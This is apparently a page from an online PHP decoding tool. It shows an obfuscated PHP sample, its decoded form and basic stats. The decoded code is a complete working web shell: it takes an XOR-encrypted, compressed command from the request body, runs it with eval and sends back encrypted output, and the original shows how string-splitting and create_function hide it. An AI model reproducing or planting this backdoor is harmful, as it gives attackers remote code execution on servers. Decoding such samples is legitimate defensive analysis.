Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$q='$kE`="8e6E`2e078";$kh="6fE`E`adae84E`cE`c48";$kfE`="5cE`f63c9E`78b0c";$E`p="9MpCJaKpRe..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="8e62e078";$kh="6fadae84cc48";$kf="5cf63c978b0c";$p="9MpCJaKpReb3Elp2";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
$q='$kE`="8e6E`2e078";$kh="6fE`E`adae84E`cE`c48";$kfE`="5cE`f63c9E`78b0c";$E`p="9MpCJaKpReE`bE`3Elp2";functioE`nE` x($t,$E';
$c=str_replace('xT','','crxTeatxTxTe_xTfunxTctixTon');
$W='`k){$c=E`strlenE`($k);$E`l=E`E`strlen($E`t);$o="";foE`rE`($E`i=0;$i<$l;){for($j=0E`;($j<E`E`$c&&$i<$l)E`;$j++,$i++E`)';
$a='{E`$o.=$E`t{$i}E`^$k{$E`j};}}E`reE`turn $E`o;}if (@preg_matcE`h("/$khE`(.+)$E`E`kf/",@file_gE`et_E`contentE`s(E`E`"php:';
$H='//iE`nput"),E`$mE`)==1) {@ob_sE`tart();@E`evE`al(@gzuncomprE`ess(@E`x(@baseE`64_decode(E`$E`m[1])E`,$k)));$o=E`@ob_getE`';
$I='_conteE`nts()E`;@ob_enE`d_cE`leanE`();$r=@basE`e64_encE`odeE`(@x(@gzcomE`pressE`(E`$o),$kE`));pE`rint("$p$kE`h$r$kf");}';
$D=str_replace('E`','',$q.$W.$a.$H.$I);
$v=$c('',$D);$v();
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | 80757506bd49871a176d66f6810b62ea |
Eval Count | 1 |
Decode Time | 229 ms |